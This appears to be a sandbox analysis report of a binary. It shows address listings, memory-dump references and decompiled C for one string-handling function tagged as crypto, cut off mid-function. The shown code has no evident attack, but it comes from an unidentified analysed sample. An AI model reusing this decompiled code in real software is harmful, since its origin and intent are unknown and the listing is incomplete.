0x00000000
0x00000000
0x6e6734c9
0x6e6734cd
0x6e6734d0
0x6e6734d2
0x00000000
0x00000000
0x00000000
0x6e6734d2
0x6e6734d4
0x00000000
0x6e6734d4
0x6e6734aa
0x6e673463
0x00000000
0x6e673463
0x6e6733de
0x6e6733e0
0x6e6733e4
0x6e6733e4
0x6e6733e7
0x6e6733ff
0x6e67340f
0x6e67340f
0x6e673415
0x6e673415
0x6e67341a
0x6e67341e
0x6e673422
0x6e673424
0x00000000
0x00000000
0x6e67342a
0x6e67342d
0x6e67342f
0x00000000
0x00000000
0x6e673431
0x6e673437
0x6e67344c
0x6e67344c
0x00000000
0x6e67344c
0x6e673439
0x6e67343d
0x6e67343d
0x6e673441
0x00000000
0x00000000
0x6e673443
0x6e673444
0x6e67344a
0x00000000
0x00000000
0x00000000
0x6e67344a
0x00000000
0x6e67343d
0x6e673574
0x6e673577
0x00000000
0x6e673577
0x6e6733eb
0x6e6733ed
0x6e6733f1
0x6e6733f1
0x6e6733f4
0x6e6733f4
0x6e6733f8
0x00000000
0x00000000
0x6e6733fa
0x6e6733fb
0x6e6733fd
0x00000000
0x00000000
0x00000000
0x6e6733fd
0x00000000
0x6e6733f4
0x6e67338d
0x6e673391
0x6e673391
0x6e673395
0x00000000
0x00000000
0x6e673397
0x6e673398
0x6e67339e
0x00000000
0x00000000
0x00000000
0x6e67339e
0x00000000
0x6e673391
0x6e67357e
0x6e673581
0x6e673584
0x00000000
0x6e673584
0x6e67333c
0x6e67333e
0x6e673342
0x6e673342
0x6e673345
0x6e673345
0x6e673349
0x00000000
0x00000000
0x6e67334b
0x6e67334c
0x6e67334e
0x00000000
0x00000000
0x00000000
0x6e67334e
0x00000000
0x6e673345
0x6e673319
0x6e67331d
0x6e67331d
0x6e673321
0x00000000
0x00000000
0x6e673323
0x6e673324
0x6e67332a
0x00000000
0x00000000
0x00000000
0x6e67332a
0x00000000
0x6e67331d
0x6e67358b
0x6e67358e
0x00000000
0x6e67358e
0x6e6732c8
0x6e6732cc
0x6e6732cc
0x6e6732ce
0x6e6732d2
0x6e6732d4
0x6e6732d4
0x6e6732d8
0x00000000
0x00000000
0x6e6732da
0x6e6732db
0x6e6732dd
0x00000000
0x00000000
0x00000000
0x6e6732dd
0x00000000
0x6e6732d4
0x6e673595
0x6e673599
0x6e67359d
0x6e67359f
0x00000000
0x00000000
0x6e6735a5
0x6e6735a9
0x6e6735ad
0x6e6735b1
0x6e6735b5
0x6e6735b5
0x6e6735b7
0x6e6735b9
0x6e6735d2
0x6e6735e2
0x6e6735e2
0x6e6735e8
0x6e6735e8
0x6e6735ed
0x6e6735f1
0x6e6735f5
0x6e6735f7
0x00000000
0x00000000
0x6e6735fd
0x6e673600
0x6e673602
0x00000000
0x00000000
0x6e673608
0x6e67360e
0x6e673627
0x6e673627
0x6e67362c
0x6e67362c
0x6e67362f
0x6e67362f
0x6e673631
0x6e673635
0x6e673639
0x6e67363d
0x6e673644
0x6e67364d
0x6e673650
0x6e673653
0x6e673659
0x6e67365c
0x6e67365f
0x6e673661
0x00000000
0x00000000
0x6e673665
0x6e673667
0x6e673673
0x6e673673
0x6e673677
0x6e67367b
0x6e67367b
0x6e67367d
0x00000000
0x00000000
0x00000000
0x6e67367d
0x6e673669
0x6e67366a
0x6e67366d
0x00000000
0x00000000
0x00000000
0x6e67366d
0x6e67368f
0x6e673699
0x6e673699
0x6e67369a
0x00000000
0x00000000
0x6e67369c
0x6e6736a5
0x6e6736aa
0x6e6736ad
0x6e6736b1
0x00000000
0x00000000
0x6e6736b3
0x6e6736b7
0x6e6736b7
0x6e6736b8
0x6e6736b9
0x6e6736c3
0x6e6736c9
0x6e6736cc
0x6e6736ce
0x00000000
0x00000000
0x6e6736d0
0x6e6736d3
0x00000000
0x00000000
0x00000000
0x6e6736d5
0x00000000
0x6e6736b7
0x6e673610
0x6e673614
0x6e673614
0x6e673618
0x00000000
0x00000000
0x6e67361e
0x6e67361f
0x6e673625
0x00000000
0x00000000
0x00000000
0x6e673625
0x6e6736fa
0x6e6736fa
0x6e6736fc
0x00000000
0x00000000
0x6e673702
0x00000000
0x00000000
0x6e673708
0x6e67370c
0x6e673710
0x00000000
0x6e673710
0x6e673719
0x6e673720
0x00000000
0x6e673720
0x6e6735bb
0x6e6735bf
0x6e6735c1
0x6e6735c1
0x6e6735c3
0x6e6735c3
0x6e6735c7
0x00000000
0x00000000
0x6e6735cd
0x6e6735ce
0x6e6735d0
0x00000000
0x00000000
0x00000000
0x6e6735d0
0x00000000
0x6e6736de
0x6e6736de
0x6e6736e2
0x6e6736e6
0x6e6736e6
0x6e6736ee
0x6e6736ee
0x6e6736f2
0x00000000
0x6e6736f2
0x6e673683
0x6e673683
0x00000000
0x6e673687
0x6e67324e
0x6e67324f
0x6e673252
0x00000000
0x00000000
0x00000000
0x6e673252
0x6e673724
0x6e67372e
0x6e67372e
0x6e67372f
0x00000000
0x00000000
0x6e673735
0x6e67373e
0x6e673743
0x6e673746
0x6e67374a
0x00000000
0x00000000
0x6e673750
0x6e673754
0x6e673754
0x6e673755
0x6e673756
0x6e673760
0x6e673766
0x6e673769
0x6e67376b
0x00000000
0x00000000
0x6e67376d
0x6e673770
0x00000000
0x00000000
0x00000000
0x6e673772
0x00000000
0x6e673754
0x6e6731ed
0x6e6731f1
0x6e6731f1
0x6e6731f5
0x00000000
0x00000000
0x6e6731fb
0x6e6731fc
0x6e673202
0x00000000
0x00000000
0x00000000
0x6e673202
0x6e673777
0x6e673777
0x6e673779
0x00000000
0x00000000
0x6e67377f
0x00000000
0x00000000
0x6e673785
0x6e673789
0x00000000
0x6e673789
0x6e673791
0x6e673798
0x00000000
0x6e673798
0x6e673198
0x6e67319c
0x6e67319e
0x6e67319e
0x6e6731a0
0x6e6731a0
0x6e6731a4
0x00000000
0x00000000
0x6e6731aa
0x6e6731ab
0x6e6731ad
0x00000000
0x00000000
0x00000000
0x6e6731ad
0x00000000
0x6e67379c
0x6e67379c
0x6e6737a0
0x6e6737a4
0x6e6737a4
0x00000000
0x6e6737ac
0x00000000
0x6e67303b
0x6e672fb7
0x6e672fba
0x6e672fbc
0x6e672fbe
0x00000000
0x00000000
0x6e672fc0
0x6e672fc4
0x6e672fc4
0x6e672fc6
0x6e672fca
0x6e672fcd
0x6e672fcd
0x6e672fce
0x6e672fd3
0x6e672fd7
0x6e672fd9
0x00000000
0x00000000
0x6e672fdb
0x6e672fdf
0x6e672fe2
0x6e672fe4
0x00000000
0x00000000
0x00000000
0x6e672fe4
0x6e672fe6
0x6e672fea
0x6e672fee
0x00000000
0x6e672fee
0x6e672fb1
0x6e672f6f
0x00000000
0x6e672f6f
0x6e672eeb
0x6e672eeb
0x6e672eee
0x6e672f06
0x6e672f0a
0x6e672f16
0x6e672f16
0x6e672f1c
0x6e672f1c
0x6e672f21
0x6e672f25
0x6e672f29
0x6e672f2b
0x00000000
0x00000000
0x6e672f31
0x6e672f34
0x6e672f36
0x00000000
0x00000000
0x6e672f38
0x6e672f3e
0x6e672f53
0x6e672f53
0x6e672f58
0x00000000
0x00000000
0x00000000
0x00000000
0x6e672f40
0x6e672f40
0x6e672f40
0x6e672f44
0x00000000
0x00000000
0x6e672f4a
0x6e672f4b
0x6e672f51
0x00000000
0x00000000
0x00000000
0x6e672f51
0x6e6737b1
0x6e6737b1
0x6e6737b4
0x6e6737c2
0x6e6737b6
0x6e6737b6
0x6e6737b9
0x6e6737b9
0x00000000
0x6e6737b4
0x6e6737cc
0x6e6737cf
0x00000000
0x6e6737cf
0x6e672ef2
0x6e672ef4
0x6e672ef4
0x6e672ef7
0x6e672ef7
0x6e672efb
0x00000000
0x00000000
0x6e672f01
0x6e672f02
0x6e672f04
0x00000000
0x00000000
0x00000000
0x6e672f04
0x00000000
0x6e672ef7
0x6e672ed8
0x00000000
0x6e672ed8
0x6e672e8e
0x6e672eb4
0x6e672eb4
0x6e672eb6
0x6e672eb7
0x6e672ebc
0x00000000
0x6e672ebc
0x6e672e90
0x6e672e93
0x6e672e97
0x00000000
0x00000000
0x6e672e99
0x6e672e9b
0x6e672e9b
0x6e672e9c
0x6e672ea1
0x6e672ea7
0x00000000
0x00000000
0x6e672ea9
0x6e672ead
0x6e672eb2
0x00000000
0x00000000
0x00000000
0x6e672eb2
0x00000000

Strings

@, xrefs: 6E672EC8

Memory Dump Source

Source File: 00000000.00000002.838096083.000000006E651000.00000020.00020000.sdmp, Offset: 6E650000, based on PE: true

Associated: 00000000.00000002.837594684.000000006E650000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.843186308.000000006E685000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.844190856.000000006E68B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.844693354.000000006E68C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 115c3439d82789a76028cc64ba03a0b0cd7b01c7d0591427b9fbd30026037de6
Instruction ID: aef1f98d864ab7a3fc835c0fb30d156eba0cdc60ea58d3d4796950ba9a3d676f
Opcode Fuzzy Hash: 115c3439d82789a76028cc64ba03a0b0cd7b01c7d0591427b9fbd30026037de6
Instruction Fuzzy Hash: D2525871A4C7938BDF25CEA9C49432ABBE26FC7314F18865DD8A54B396DB31C841C782

Uniqueness

Uniqueness Score: -1.00%

Function 6E66D030, Relevance: 2.0, Strings: 1, Instructions: 789
COMMONCrypto

Download Yara Rule

C-Code - Quality: 92%

			E6E66D030(void* __ecx, signed int* _a4) {
				unsigned int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				unsigned int _v52;
				signed int _v56;
				unsigned int _v60;
				signed int _v64;
				signed int _v68;
				unsigned int _t225;
				signed int _t230;
				signed int _t231;
				void* _t232;
				signed int _t233;
				signed int _t234;
				signed int _t235;
				signed int _t241;
				signed int _t243;
				signed int _t245;
				signed int _t246;
				signed int _t247;
				signed int _t248;
				signed int _t249;
				signed int _t250;
				signed int _t255;
				signed int _t257;
				signed int _t258;
				unsigned int _t267;
				signed int _t272;
				signed int _t277;
				unsigned int _t283;
				signed int _t284;
				signed int* _t286;
				signed int _t287;
				signed int _t294;
				signed int _t295;
				signed int _t297;
				signed int _t298;
				signed int _t304;
				unsigned int _t306;
				signed int _t307;
				signed int _t308;
				signed int _t309;
				signed int _t310;
				signed int _t312;
				signed int _t313;
				signed int _t316;
				signed int _t317;
				unsigned int _t326;
				signed int _t327;
				signed int _t329;
				signed int _t330;
				void* _t331;
				signed int _t332;
				signed int _t334;
				signed int _t335;
				signed int _t336;
				unsigned int _t341;
				signed int _t342;
				signed int _t344;
				signed int _t346;
				signed int _t351;
				signed int _t354;
				signed int _t355;
				signed int _t361;
				signed int _t362;
				signed int _t364;
				unsigned int _t369;
				signed int _t370;
				signed int _t371;
				signed int _t374;
				void* _t382;
				signed int _t384;
				signed int _t385;
				signed int _t389;
				signed int _t390;
				unsigned int _t405;
				signed int _t406;
				signed int _t409;
				signed int _t410;
				signed int _t411;
				signed short* _t414;
				signed int _t418;
				unsigned int _t419;
				signed int _t421;
				unsigned int _t429;
				void* _t433;
				signed int _t434;
				signed int _t435;
				signed int _t441;
				signed int _t442;
				signed int _t443;
				signed int* _t445;
				unsigned int _t447;
				signed int _t448;
				signed int _t449;
				signed int _t450;
				signed int _t451;
				signed int _t452;
				signed int _t458;
				signed int _t465;
				unsigned int _t467;
				signed int _t468;
				signed int _t471;
				void* _t473;
				void* _t474;

				_t473 = (_t471 & 0xfffffff0) - 0x34;
				E6E66D980(__ecx,  &_v60, 0x2f);
				_t294 = E6E66E7D0( &_v60);
				_t445 = _a4;
				_t316 =  *_t294;
				if(_t316 != 0) {
					_t364 =  *( *( *(_t294 + 4)));
					__eflags = _t364;
					if(_t364 == 0) {
						L37:
						_push(0x80);
						_t418 = E6E661030();
						_t473 = _t473 + 4;
						 *_t418 = 0;
						__eflags =  *_t294 - 1;
						if( *_t294 <= 1) {
							L70:
							 *_t445 = 0;
							_t445[1] = 0;
							__eflags = _t418;
							if(_t418 == 0) {
								L105:
								_push(0x80);
								_t295 = E6E661030();
								_t473 = _t473 + 4;
								_t317 =  *_t445;
								__eflags = _t317;
								if(_t317 == 0) {
									__eflags = 0;
									 *_t295 = 0;
									L113:
									 *_t445 = _t295;
									_t445[1] = 0x40;
									L114:
									_push(2);
									_push(_t418);
									E6E6610B0();
									_t474 = _t473 + 8;
									L115:
									_t419 = _v60;
									_v60 = 0;
									_v52 = 0;
									_t369 = _v56;
									if(_t419 <= 0) {
										L127:
										_push(4);
										_push(_t369);
										E6E6610B0();
										_v56 = 0;
										return _t445;
									}
									_t225 = _t419 >> 1;
									if(_t225 == 0) {
										_t297 = 1;
										L124:
										if(_t297 - 1 < _t419) {
											_t319 =  *((intOrPtr*)(_t369 + _t297 * 4 - 4));
											if( *((intOrPtr*)(_t369 + _t297 * 4 - 4)) != 0) {
												_push(1);
												E6E6687E0(_t319);
												_t369 = _v60;
											}
										}
										goto L127;
									}
									_t298 = 0;
									_t447 = _t225;
									do {
										_t320 =  *((intOrPtr*)(_t369 + _t298 * 8));
										if( *((intOrPtr*)(_t369 + _t298 * 8)) != 0) {
											_push(1);
											E6E6687E0(_t320);
											_t369 = _v60;
										}
										_t321 =  *((intOrPtr*)(_t369 + 4 + _t298 * 8));
										if( *((intOrPtr*)(_t369 + 4 + _t298 * 8)) != 0) {
											_push(1);
											E6E6687E0(_t321);
											_t369 = _v60;
										}
										_t298 = _t298 + 1;
									} while (_t298 < _t447);
									_t445 = _a4;
									_t297 = _t298 + _t298 + 1;
									goto L124;
								}
								__eflags = _t295;
								if(_t295 == 0) {
									L111:
									_push(2);
									_push(_t317);
									E6E6610B0();
									_t473 = _t473 + 8;
									goto L113;
								}
								_t370 =  *_t317 & 0x0000ffff;
								 *_t295 = _t370;
								__eflags = _t370;
								if(_t370 == 0) {
									goto L111;
								}
								_t371 = 0;
								__eflags = 0;
								while(1) {
									_t371 = _t371 + 1;
									_t230 =  *(_t317 + _t371 * 4 - 2) & 0x0000ffff;
									 *(_t295 + _t371 * 4 - 2) = _t230;
									__eflags = _t230;
									if(_t230 == 0) {
										goto L111;
									}
									_t231 =  *(_t317 + _t371 * 4) & 0x0000ffff;
									 *(_t295 + _t371 * 4) = _t231;
									__eflags = _t231;
									if(_t231 != 0) {
										continue;
									}
									goto L111;
								}
								goto L111;
							}
							L71:
							__eflags =  *_t418 & 0x0000ffff;
							if(( *_t418 & 0x0000ffff) == 0) {
								goto L105;
							}
							_t374 = _t418 & 0x0000000f;
							__eflags = _t374;
							if(_t374 == 0) {
								L77:
								asm("pxor xmm0, xmm0");
								_t304 =  ~( ~_t374 + 0x00000007 & 0x00000007) + 0x7fffffff;
								__eflags = _t304;
								while(1) {
									asm("movdqu xmm1, [edi+edx*2]");
									asm("pcmpeqw xmm1, xmm0");
									asm("pmovmskb ecx, xmm1");
									__eflags = _t316;
									if(_t316 != 0) {
										break;
									}
									_t374 = _t374 + 8;
									__eflags = _t374 - _t304;
									if(_t374 < _t304) {
										continue;
									}
									__eflags = _t304 - 0x7fffffff;
									if(_t304 >= 0x7fffffff) {
										L83:
										_t304 = 0x7fffffff;
										L84:
										_t82 = _t304 + 1; // 0x80000000
										_t232 = _t82;
										__eflags = _t232 - 0x40;
										_t233 =  <=  ? 0x40 : _t232;
										__eflags = _t233;
										if(_t233 > 0) {
											_t326 = (_t233 >> 5 >> 0x1a) + _t233 >> 6;
											_t234 = _t233 & 0x8000003f;
											__eflags = _t234;
											if(_t234 < 0) {
												_t234 = (_t234 - 0x00000001 | 0xffffffc0) + 1;
												__eflags = _t234;
											}
											__eflags = _t234;
											_t327 = _t326 + (0 | _t234 > 0x00000000);
											_v64 = _t327 << 6;
											_push(_t327 << 7);
											_t235 = E6E661030();
											_t473 = _t473 + 4;
											_t329 =  *_t445;
											__eflags = _t329;
											if(_t329 == 0) {
												__eflags = 0;
												 *_t235 = 0;
												goto L97;
											} else {
												__eflags = _t235;
												if(_t235 == 0) {
													L95:
													_push(2);
													_push(_t329);
													_v68 = _t235;
													E6E6610B0();
													_t235 = _v68;
													_t473 = _t473 + 8;
													L97:
													_t445[1] = _v64;
													 *_t445 = _t235;
													L98:
													_t330 = _t418;
													__eflags = _t235;
													if(_t235 == 0) {
														goto L114;
													}
													_t382 = 0;
													while(1) {
														_t448 =  *_t330 & 0x0000ffff;
														_t382 = _t382 + 1;
														 *_t235 = _t448;
														__eflags = _t304;
														if(_t304 == 0) {
															goto L103;
														}
														__eflags = _t382 - _t304;
														if(_t382 == _t304) {
															_t445 = _a4;
															 *(_t235 + 2) = 0;
															goto L114;
														}
														L103:
														__eflags = _t448;
														if(_t448 == 0) {
															_t445 = _a4;
															goto L114;
														}
														_t235 = _t235 + 2;
														_t330 = _t330 + 2;
														__eflags = _t330;
													}
												}
												_t384 =  *_t329 & 0x0000ffff;
												 *_t235 = _t384;
												__eflags = _t384;
												if(_t384 == 0) {
													goto L95;
												}
												_t385 = 0;
												__eflags = 0;
												while(1) {
													_t385 = _t385 + 1;
													_t449 =  *(_t329 + _t385 * 4 - 2) & 0x0000ffff;
													 *(_t235 + _t385 * 4 - 2) = _t449;
													__eflags = _t449;
													if(_t449 == 0) {
														break;
													}
													_t450 =  *(_t329 + _t385 * 4) & 0x0000ffff;
													 *(_t235 + _t385 * 4) = _t450;
													__eflags = _t450;
													if(_t450 != 0) {
														continue;
													}
													break;
												}
												_t445 = _a4;
												goto L95;
											}
										}
										_t235 = 0;
										goto L98;
									} else {
										goto L81;
									}
									while(1) {
										L81:
										__eflags =  *(_t418 + _t304 * 2) & 0x0000ffff;
										if(( *(_t418 + _t304 * 2) & 0x0000ffff) == 0) {
											goto L84;
										}
										_t304 = _t304 + 1;
										__eflags = _t304 - 0x7fffffff;
										if(_t304 < 0x7fffffff) {
											continue;
										}
										goto L83;
									}
									goto L84;
								}
								asm("bsf ebx, ecx");
								_t304 = (_t304 >> 1) + _t374;
								goto L84;
							}
							_t304 = 0;
							__eflags = _t374 & 0x00000001;
							if((_t374 & 0x00000001) != 0) {
								goto L81;
							}
							_t374 =  ~_t374 + 0x10 >> 1;
							__eflags = _t374;
							while(1) {
								_t316 =  *(_t418 + _t304 * 2) & 0x0000ffff;
								__eflags = _t316;
								if(_t316 == 0) {
									goto L84;
								}
								_t304 = _t304 + 1;
								__eflags = _t304 - _t374;
								if(_t304 < _t374) {
									continue;
								}
								goto L77;
							}
							goto L84;
						}
						_v40 = 0x40;
						L39:
						__eflags = 1;
						_t389 = 1;
						_t241 = _t294;
						asm("pxor xmm0, xmm0");
						_t306 = 1;
						do {
							__eflags = _t418;
							if(_t418 == 0) {
								_t390 = 0;
								L205:
								_v32 = _t241;
								_t451 = _t390;
								L54:
								_t48 = _t451 + 2; // -2147483652
								_t331 = _t48;
								__eflags = _t331 - 0x40;
								_t332 =  <=  ? 0x40 : _t331;
								__eflags = _t332 - _v40;
								if(_t332 <= _v40) {
									L66:
									_t316 = 0;
									 *((short*)(_t418 + _t451 * 2)) = 0x5c;
									 *((short*)(_t418 + 2 + _t451 * 2)) = 0;
									_t452 = _v32;
									_t389 =  *( *( *((intOrPtr*)(_t452 + 4)) + _t306 * 4));
									__eflags = _t389;
									if(_t389 == 0) {
										goto L68;
									}
									_t316 =  *_t389 & 0x0000ffff;
									__eflags = _t316;
									if(_t316 != 0) {
										__eflags = _t389 - _t418;
										if(_t389 == _t418) {
											goto L68;
										}
										_t245 = _t389 & 0x0000000f;
										__eflags = _t245;
										if(_t245 == 0) {
											L134:
											asm("pxor xmm1, xmm1");
											_t465 =  ~( ~_t245 + 0x00000007 & 0x00000007) + 0x7fffffff;
											__eflags = _t465;
											while(1) {
												asm("movdqu xmm0, [edx+eax*2]");
												asm("pcmpeqw xmm0, xmm1");
												asm("pmovmskb ecx, xmm0");
												__eflags = _t316;
												if(_t316 != 0) {
													break;
												}
												_t245 = _t245 + 8;
												__eflags = _t245 - _t465;
												if(_t245 < _t465) {
													continue;
												}
												__eflags = _t465 - 0x7fffffff;
												if(_t465 >= 0x7fffffff) {
													L140:
													_t465 = 0x7fffffff;
													L141:
													__eflags = _t418;
													if(_t418 == 0) {
														_t246 = 0;
														L155:
														_t149 = _t246 + 1; // 0x80000000
														_t247 = _t465 + _t149;
														__eflags = _t247;
														if(_t247 != 0) {
															__eflags = _t247 - 0x40;
															_t248 =  <=  ? 0x40 : _t247;
															__eflags = _t248 - _v40;
															if(_t248 <= _v40) {
																L173:
																_t249 = _t418;
																__eflags = _t418;
																if(_t418 == 0) {
																	L204:
																	_t241 = _v32;
																	_t390 = 0;
																	_t306 = _t306 + 1;
																	__eflags = _t306 -  *_t241;
																	if(_t306 >=  *_t241) {
																		_t445 = _a4;
																		 *_t445 = 0;
																		_t445[1] = 0;
																		goto L105;
																	}
																	goto L205;
																}
																_t334 =  *_t418 & 0x0000ffff;
																L175:
																__eflags = _t334;
																if(_t334 == 0) {
																	L180:
																	_t335 = _t249;
																	__eflags = _t465;
																	if(__eflags != 0) {
																		if(__eflags <= 0) {
																			L187:
																			_t316 = _v32;
																			_t389 = 0;
																			 *_t249 = 0;
																			_t306 = _t306 + 1;
																			__eflags = _t306 -  *_t316;
																			if(_t306 <  *_t316) {
																				L42:
																				_t243 = _t418 & 0x0000000f;
																				__eflags = _t243;
																				if(_t243 == 0) {
																					L47:
																					asm("pxor xmm1, xmm1");
																					_t458 =  ~( ~_t243 + 0x00000007 & 0x00000007) + 0x7fffffff;
																					__eflags = _t458;
																					while(1) {
																						asm("movdqu xmm0, [edi+eax*2]");
																						asm("pcmpeqw xmm0, xmm1");
																						asm("pmovmskb edx, xmm0");
																						__eflags = _t389;
																						if(_t389 != 0) {
																							break;
																						}
																						_t243 = _t243 + 8;
																						__eflags = _t243 - _t458;
																						if(_t243 < _t458) {
																							continue;
																						}
																						__eflags = _t458 - 0x7fffffff;
																						if(_t458 >= 0x7fffffff) {
																							L53:
																							_t451 = 0x7fffffff;
																							goto L54;
																						} else {
																							goto L51;
																						}
																						while(1) {
																							L51:
																							__eflags =  *(_t418 + _t458 * 2) & 0x0000ffff;
																							if(( *(_t418 + _t458 * 2) & 0x0000ffff) == 0) {
																								break;
																							}
																							_t458 = _t458 + 1;
																							__eflags = _t458 - 0x7fffffff;
																							if(_t458 < 0x7fffffff) {
																								continue;
																							}
																							goto L53;
																						}
																						L196:
																						__eflags = _t451 - 0xfffffffe;
																						if(_t451 == 0xfffffffe) {
																							 *_t418 = 0;
																						}
																						goto L54;
																					}
																					asm("bsf esi, edx");
																					_t451 = (_t458 >> 1) + _t243;
																					goto L196;
																				}
																				_t458 = 0;
																				__eflags = _t243 & 0x00000001;
																				if((_t243 & 0x00000001) != 0) {
																					goto L51;
																				}
																				_t243 =  ~_t243 + 0x10 >> 1;
																				__eflags = _t243;
																				while(1) {
																					_t389 =  *(_t418 + _t458 * 2) & 0x0000ffff;
																					__eflags = _t389;
																					if(_t389 == 0) {
																						goto L196;
																					}
																					_t458 = _t458 + 1;
																					__eflags = _t458 - _t243;
																					if(_t458 < _t243) {
																						continue;
																					}
																					goto L47;
																				}
																				goto L196;
																			}
																			_t445 = _a4;
																			L192:
																			 *_t445 = 0;
																			_t445[1] = 0;
																			goto L71;
																		}
																		L183:
																		_v48 = 0;
																		_v44 = _t418;
																		_v28 = _t306;
																		_t421 = _v48;
																		while(1) {
																			_t307 =  *(_t389 + _t421 * 2) & 0x0000ffff;
																			 *(_t335 + _t421 * 2) = _t307;
																			__eflags = _t307;
																			if(_t307 == 0) {
																				break;
																			}
																			_t190 = _t421 * 2; // 0x2
																			_t249 = _t335 + _t190 + 2;
																			_t421 = _t421 + 1;
																			__eflags = _t421 - _t465;
																			if(_t421 < _t465) {
																				continue;
																			}
																			break;
																		}
																		_t306 = _v28;
																		_t418 = _v44;
																		goto L187;
																	}
																	_t465 = 0x7fffffff;
																	goto L183;
																}
																_v36 = _t389;
																_t336 = 0;
																__eflags = 0;
																_v28 = _t306;
																while(1) {
																	_t336 = _t336 + 1;
																	_t308 = _t418 + _t336 * 4;
																	_t249 = _t308 - 2;
																	__eflags =  *(_t308 - 2) & 0x0000ffff;
																	if(( *(_t308 - 2) & 0x0000ffff) == 0) {
																		break;
																	}
																	_t249 = _t308;
																	__eflags =  *_t308 & 0x0000ffff;
																	if(( *_t308 & 0x0000ffff) != 0) {
																		continue;
																	}
																	break;
																}
																_t389 = _v36;
																_t306 = _v28;
																goto L180;
															}
															L161:
															_t341 = (_t248 >> 5 >> 0x1a) + _t248 >> 6;
															_t250 = _t248 & 0x8000003f;
															__eflags = _t250;
															if(_t250 < 0) {
																_t250 = (_t250 - 0x00000001 | 0xffffffc0) + 1;
																__eflags = _t250;
															}
															__eflags = _t250;
															_t342 = _t341 + (0 | _t250 > 0x00000000);
															_v40 = _t342 << 6;
															_push(_t342 << 7);
															_v36 = _t389;
															_t255 = E6E661030();
															_t389 = _v36;
															_t344 = _t255;
															_t473 = _t473 + 4;
															__eflags = _t418;
															if(_t418 == 0) {
																__eflags = 0;
																 *_t344 = 0;
																goto L172;
															} else {
																__eflags = _t344;
																if(_t344 == 0) {
																	L170:
																	_push(2);
																	_push(_t418);
																	_v68 = _t344;
																	_v36 = _t389;
																	E6E6610B0();
																	_t389 = _v36;
																	_t344 = _v68;
																	_t473 = _t473 + 8;
																	L172:
																	_t418 = _t344;
																	goto L173;
																}
																_t257 =  *_t418 & 0x0000ffff;
																 *_t344 = _t257;
																__eflags = _t257;
																if(_t257 == 0) {
																	goto L170;
																}
																_v28 = _t306;
																_t258 = 0;
																__eflags = 0;
																while(1) {
																	_t258 = _t258 + 1;
																	_t309 =  *(_t418 + _t258 * 4 - 2) & 0x0000ffff;
																	 *(_t344 + _t258 * 4 - 2) = _t309;
																	__eflags = _t309;
																	if(_t309 == 0) {
																		break;
																	}
																	_t310 =  *(_t418 + _t258 * 4) & 0x0000ffff;
																	 *(_t344 + _t258 * 4) = _t310;
																	__eflags = _t310;
																	if(_t310 != 0) {
																		continue;
																	}
																	break;
																}
																_t306 = _v28;
																goto L170;
															}
														}
														__eflags = _t418;
														if(_t418 == 0) {
															__eflags = _v40 - 0x40;
															if(_v40 < 0x40) {
																L159:
																_t248 = 0x40;
																goto L161;
															}
															goto L204;
														}
														_t334 = 0;
														 *_t418 = 0;
														__eflags = _v40 - 0x40;
														if(_v40 < 0x40) {
															goto L159;
														}
														_t249 = _t418;
														goto L175;
													}
													_t346 = _t418 & 0x0000000f;
													__eflags = _t346;
													if(_t346 == 0) {
														L148:
														asm("pxor xmm1, xmm1");
														_v28 = _t306;
														_t246 =  ~( ~_t346 + 0x00000007 & 0x00000007) + 0x7fffffff;
														__eflags = _t246;
														while(1) {
															asm("movdqu xmm0, [edi+ecx*2]");
															asm("pcmpeqw xmm0, xmm1");
															asm("pmovmskb ebx, xmm0");
															__eflags = _t306;
															if(_t306 != 0) {
																break;
															}
															_t346 = _t346 + 8;
															__eflags = _t346 - _t246;
															if(_t346 < _t246) {
																continue;
															}
															_t306 = _v28;
															__eflags = _t246 - 0x7fffffff;
															if(_t246 >= 0x7fffffff) {
																L154:
																_t246 = 0x7fffffff;
																goto L155;
															} else {
																goto L152;
															}
															while(1) {
																L152:
																__eflags =  *(_t418 + _t246 * 2) & 0x0000ffff;
																if(( *(_t418 + _t246 * 2) & 0x0000ffff) == 0) {
																	goto L155;
																}
																_t246 = _t246 + 1;
																__eflags = _t246 - 0x7fffffff;
																if(_t246 < 0x7fffffff) {
																	continue;
																}
																goto L154;
															}
															goto L155;
														}
														asm("bsf eax, eax");
														_t267 = _t306 >> 1;
														_t306 = _v28;
														_t246 = _t267 + _t346;
														goto L155;
													}
													_t246 = 0;
													__eflags = _t346 & 0x00000001;
													if((_t346 & 0x00000001) != 0) {
														goto L152;
													}
													_t346 =  ~_t346 + 0x10 >> 1;
													__eflags = _t346;
													_v28 = _t306;
													while(1) {
														__eflags =  *(_t418 + _t246 * 2) & 0x0000ffff;
														if(( *(_t418 + _t246 * 2) & 0x0000ffff) == 0) {
															break;
														}
														_t246 = _t246 + 1;
														__eflags = _t246 - _t346;
														if(_t246 < _t346) {
															continue;
														}
														_t306 = _v28;
														goto L148;
													}
													_t306 = _v28;
													goto L155;
												} else {
													goto L138;
												}
												while(1) {
													L138:
													__eflags =  *(_t389 + _t465 * 2) & 0x0000ffff;
													if(( *(_t389 + _t465 * 2) & 0x0000ffff) == 0) {
														goto L141;
													}
													_t465 = _t465 + 1;
													__eflags = _t465 - 0x7fffffff;
													if(_t465 < 0x7fffffff) {
														continue;
													}
													goto L140;
												}
												goto L141;
											}
											asm("bsf esi, ecx");
											_t465 = (_t465 >> 1) + _t245;
											goto L141;
										}
										_t465 = 0;
										__eflags = _t245 & 0x00000001;
										if((_t245 & 0x00000001) != 0) {
											goto L138;
										}
										_t245 =  ~_t245 + 0x10 >> 1;
										__eflags = _t245;
										while(1) {
											_t316 =  *(_t389 + _t465 * 2) & 0x0000ffff;
											__eflags = _t316;
											if(_t316 == 0) {
												goto L141;
											}
											_t465 = _t465 + 1;
											__eflags = _t465 - _t245;
											if(_t465 < _t245) {
												continue;
											}
											goto L134;
										}
										goto L141;
									}
									goto L68;
								}
								_t405 = (_t332 >> 5 >> 0x1a) + _t332 >> 6;
								_t351 = _t332 & 0x8000003f;
								__eflags = _t351;
								if(_t351 < 0) {
									_t351 = (_t351 - 0x00000001 | 0xffffffc0) + 1;
									__eflags = _t351;
								}
								__eflags = _t351;
								_t406 = _t405 + (0 | _t351 > 0x00000000);
								_v40 = _t406 << 6;
								_push(_t406 << 7);
								_t272 = E6E661030();
								_t473 = _t473 + 4;
								__eflags = _t418;
